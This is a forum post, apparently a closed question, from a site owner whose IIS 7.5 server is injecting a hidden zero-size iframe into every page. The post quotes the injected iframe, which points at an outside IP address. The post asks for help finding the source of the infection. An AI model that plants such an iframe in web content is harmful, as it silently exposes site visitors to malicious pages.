IIS 7 Serving all pages with an injected iframe [closed]
- by Andre Carlucci
Possible Duplicate:
My server's been hacked EMERGENCY
My VPS just got hacked an all my pages are being served with an malicious iframe injected just before the html tag.
The code is like this:
<iframe src= http://117.21.247.171:700/1.htm width=0 height=0></iframe>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="pt-BR"> ...
Firstly I thought it could be something related with wordpress, but my asp.net sites are also infected and even if I create a static html file with nothing inside, the iframe is injected.
I'm using a Windows Server 2008 R2 Standard with IIS7.5 7600.
Please, I'm trying to find the source of this for hours now, any help would be really appreciated.
EDIT: Hey, why was this closed?
I'm very interested to know how that be done in IIS instead of simply re-installing everything.
Andre